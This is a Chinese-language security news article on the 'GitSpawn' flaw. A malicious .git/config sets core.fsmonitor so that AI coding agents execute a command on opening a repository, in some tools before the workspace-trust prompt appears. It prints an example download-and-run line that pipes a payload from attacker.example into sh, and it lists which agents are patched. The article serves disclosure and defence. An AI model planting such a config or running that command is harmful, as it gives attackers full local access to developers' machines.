恶意 git config 怎么劫持你的 Claude Code 和 Cursor(GitSpawn 漏洞)
CSA 报告 GitSpawn 漏洞影响 Claude Code、Cursor、Codex 等七款 AI 编程工具,打开恶意仓库即可触发远程代码执行,四款仍未修复。

2026 年 9 月 3 日,Cloud Security Alliance(CSA)发布研究报告,揭示名为 GitSpawn 的漏洞:攻击者在仓库的 .git/config 或 .gitconfig 里写入特制的 core.fsmonitor 命令,AI 编程 Agent 打开该仓库时就会自动执行该命令,获得开发者本地的全部权限。
漏洞机制:core.fsmonitor 被当跳板
Git 的 core.fsmonitor 配置项本意是指定一个外部程序来监视文件变化,加速 git status 等命令。当 AI Agent 打开一个仓库并执行任何 git 操作时(哪怕只是读状态),Git 会自动调用 core.fsmonitor 指定的命令。
攻击者只需在恶意仓库里配置:
[core]
fsmonitor = "curl https://attacker.example/payload | sh"
Agent 一打开仓库,这条命令就在开发者的 shell 里执行了,跑在 Agent 沙箱之外,拥有开发者完整的本地权限。在部分受影响工具上,这个 payload 在工作区信任提示弹出之前就已经跑完了,开发者连"是否信任这个项目"都还没点,代码已经执行。
七款工具受影响,四款仍未修补
安全研究公司 Manifold 向七款主流 AI 编程工具提交了八项相关发现,截至 2026 年 9 月 1 日的修补状态如下:
| 工具 | 漏洞路径 | 披露日期 | 状态 |
|---|---|---|---|
| Claude Code | core.fsmonitor | 2026-06-26 | 已修补(v2.1.196) |
| Claude Code | ultrareview 配置键 | 2026-07-15 | 未修补(v2.1.252) |
| Cursor | core.fsmonitor | 2026-07-08 | 已修补 |
| OpenAI Codex | core.fsmonitor | 2026-07-20 | 已修补 |
| Goose | core.fsmonitor | 2026-07-13 | 已修补(v1.44.0) |
| Hermes Agent | core.fsmonitor | 2026-07-20 | 未修补(CVE-2026-71963) |
| Qwen Code | core.fsmonitor | 2026-07-07 | 未修补 |
| Grok Build | core.fsmonitor | 2026-07-14 | 未修补 |
Claude Code 和 Cursor 的 core.fsmonitor 路径已修补,但 Claude Code 还有一个通过 ultrareview 配置键的独立攻击路径仍然开放。Hermes Agent、Qwen Code 和 Grok Build 截至发稿仍完全暴露。
你的 Cursor 和 Claude Code 需要做什么
如果你在用 Cursor 或 Claude Code(已修补的版本),当前 core.fsmonitor 路径的风险已经解除。但有几件事仍然值得做:
- 确认版本号。Claude Code 需要 ≥ v2.1.196,运行
claude --version查看。Cursor 确认在 2026 年 7 月之后的版本即可 - 不要随意克隆来源不明的仓库到本地并用 Agent 打开。GitHub 上的公开仓库不意味着安全,任何人都能提交包含恶意 git config 的仓库
- 如果你同时使用 Grok Build 或 Qwen Code,在它们修补之前避免让这些工具打开不受信任的项目
- Claude Code 的 ultrareview 路径未修补:如果你没有使用 ultrareview 功能,风险有限;如果在用,关注 Anthropic 后续的安全更新
攻击面为什么比传统漏洞更大
传统的 git config 攻击需要开发者手动执行 git status 或类似命令。AI Agent 的区别在于:Agent 打开仓库后会主动且频繁地执行 git 操作(读文件列表、检查 diff、生成 commit),触发频率远高于人类操作,且开发者可能根本不知道 Agent 在后台做了什么 git 调用。
CSA 报告指出,几款受影响工具在 workspace-trust 提示弹出前就已经执行了 fsmonitor 命令。这意味着"先打开项目,再决定是否信任"的安全模型对这类攻击无效。
对于维护公开 GitHub 仓库的团队来说,这也意味着 PR 审查需要额外关注 .gitconfig 和 .git/config 的变更,CI 流程里如果使用了 AI Agent,同样需要确保 Agent 版本已修补。详细的 Agent 权限审计方法可以参考 AI Agent GitHub 权限安全审计和 Uber 的 Agent 安全 ADR。